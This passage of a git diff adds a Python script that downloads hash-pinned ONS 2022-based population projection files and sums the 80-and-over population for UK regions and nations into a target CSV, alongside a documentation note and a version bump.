June 2025) reformatted them without changing their values. Their +reference `ons_age_sex_region` does not identify a projection vintage or extraction +method. Their finite `80_89` names alone do not prove that their published values +excluded 90+: the replacement uses directly reproducible sums rather than adding +an estimated 90+ population to those legacy values. diff --git a/tools/ons_age_targets/build.py b/tools/ons_age_targets/build.py new file mode 100644 index 000000000..b29be1a57 --- /dev/null +++ b/tools/ons_age_targets/build.py @@ -0,0 +1,138 @@ +"""Reproduce the public ONS regional 80+ target extract (no survey data).""" + +import argparse +import hashlib +import io +import zipfile +from pathlib import Path + +import pandas as pd +import requests + +ROOT = Path(__file__).resolve().parents[2] +YEARS = [str(year) for year in range(2022, 2030)] +ONS = "https://www.ons.gov.uk/file?uri=/peoplepopulationandcommunity/populationandmigration/populationprojections/datasets/" +SOURCES = { + "regions": ( + "localauthoritiesinenglandz1/2022basedfiveyearmigrationvariantprojection/2022snpppopulationsyoa5yr.zip", + "171cd05fc753277388352c76abf8cc8b305ca537cd593a6e4467af7e8a8e4b5b", + ), + "scotland": ( + "z5zippedpopulationprojectionsdatafilesscotland/2022based/sc.zip", + "6e0dc9250a9890680754ab501be56973c722a57950e4535c364fbc4494372b3d", + ), + "wales": ( + "z4zippedpopulationprojectionsdatafileswales/2022based/wa.zip", + "32a7c2aacf9b3c945abeaa19a6d6d7aa62133f491bfca5a9700a393244a7b051", + ), + "ni": ( + "z6zippedpopulationprojectionsdatafilesnorthernireland/2022based/ni.zip", + "69b006c2741943d97d153cd024e4b21ea94b52ef766efcde6bd737a400d95489", + ), +} +REGIONS = { + "E12000001": "north_east", + "E12000002": "north_west", + "E12000003": "yorkshire_and_the_humber", + "E12000004": "east_midlands", + "E12000005": "west_midlands", + "E12000006": "east", + "E12000007": "london", + "E12000008": "south_east", + "E12000009": "south_west", +} + + +def aggregate_english_regions( + population: pd.DataFrame, crosswalk: pd.DataFrame +) -> pd.DataFrame: + """Sum ages 80 through the terminal 90+ row in every English LA.""" + lookup = crosswalk[["la_code", "region_code"]].drop_duplicates() + assert lookup.la_code.is_unique, "Local authorities have ambiguous regions" + ages = population.AGE_GROUP.astype(str).str.extract(r"^(\d+)")[0] + older = population.loc[pd.to_numeric(ages, errors="coerce") >= 80].copy() + assert set(older.AGE_GROUP) == {str(age) for age in range(80, 90)} | {"90 and over"} + older = older.merge( + lookup, + left_on="AREA_CODE", + right_on="la_code", + how="left", + validate="many_to_one", + ) + assert older.region_code.notna().all(), "Some local authorities lack a region" + assert set(older.region_code) == set(REGIONS) + assert older.AREA_CODE.nunique() == 309 + assert older.groupby("AREA_CODE").AGE_GROUP.nunique().eq(11).all() + result = older.groupby("region_code")[YEARS].sum().round(3) + assert result.sum().round(3).equals(older[YEARS].sum().round(3)) + result.index = result.index.map(REGIONS) + return result + + +def aggregate_country(population: pd.DataFrame) -> pd.Series: + """Include all single years and terminal age groups from 80 upwards.""" + ages = population.Age.astype(str).str.extract(r"^(\d+)")[0] + older = population.loc[ + (pd.to_numeric(ages, errors="coerce") >= 80) + & population.Sex.isin(["Females", "Males"]) + ] + assert {"105 - 109", "110 and over"}.issubset(set(older.Age.astype(str))) + older = older.rename(columns=lambda column: str(column)) + return older[YEARS].sum() + + +def build(source_dir: Path, output: Path) -> None: + """Download pinned public sources and save their exact published sums.""" + source_dir.mkdir(parents=True, exist_ok=True) + for name, (suffix, expected_sha256) in SOURCES.items(): + path = source_dir / f"ons-{name}-2022.zip" + if not path.exists(): + response = requests.get( + ONS + suffix, + headers={ + "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36" + }, + timeout=120, + ) + response.raise_for_status() + path.write_bytes(response.content) + assert hashlib.sha256(path.read_bytes()).hexdigest() == expected_sha256 + + with zipfile.ZipFile(source_dir / "ons-regions-2022.zip") as archive: + population = pd.read_csv(archive.open("2022 SNPP Population persons.csv")) + crosswalk = pd.read_csv(ROOT / "policyengine_uk_data/storage/oa_crosswalk.csv.gz") + totals = aggregate_english_regions(population, crosswalk) + for country, prefix in [("scotland", "sc"), ("wales", "wa"), ("ni", "ni")]: + with zipfile.ZipFile(source_dir / f"ons-{country}-2022.zip") as archive: + population = pd.read_excel( + io.BytesIO( + archive.read(f"{prefix}/{prefix}_ppp_machine_readable.xlsx") + ), + sheet_name="Population", + engine="openpyxl", + ) + totals.loc["northern_ireland" if country == "ni" else country] = ( + aggregate_country(population) + ) + totals.index = [f"{region}_age_80_plus" for region in totals.index] + totals.index.name = "name" + reference_base = "https://www.ons.gov.uk/peoplepopulationandcommunity/populationandmigration/populationprojections/datasets/" + totals["reference_url"] = reference_base + "localauthoritiesinenglandz1" + for country in ["scotland", "wales", "ni"]: + region = "northern_ireland" if country == "ni" else country + totals.loc[f"{region}_age_80_plus", "reference_url"] = ( + reference_base + SOURCES[country][0].split("/")[0] + ) + totals.sort_index().to_csv(output, float_format="%.3f") + + +if __name__ == "__main__": + parser = argparse.ArgumentParser(description=__doc__) + parser.add_argument("--source-dir", type=Path, default=ROOT / ".job") + parser.add_argument( + "--output", + type=Path, + default=ROOT / "policyengine_uk_data/storage/regional_age_80_plus.csv", + ) + args = parser.parse_args() + build(args.source_dir, args.output) diff --git a/uv.lock b/uv.lock index dce9c8285..9b3ac0695 100644 --- a/uv.lock +++ b/uv.lock @@ -1433,7 +1433,7 @@ wheels = [ [[package]] name = "policyengine-uk-data" -version = "1.58.0" +version = "1.58.2" source = { editable = "." } dependencies = [ { name = "google-auth" },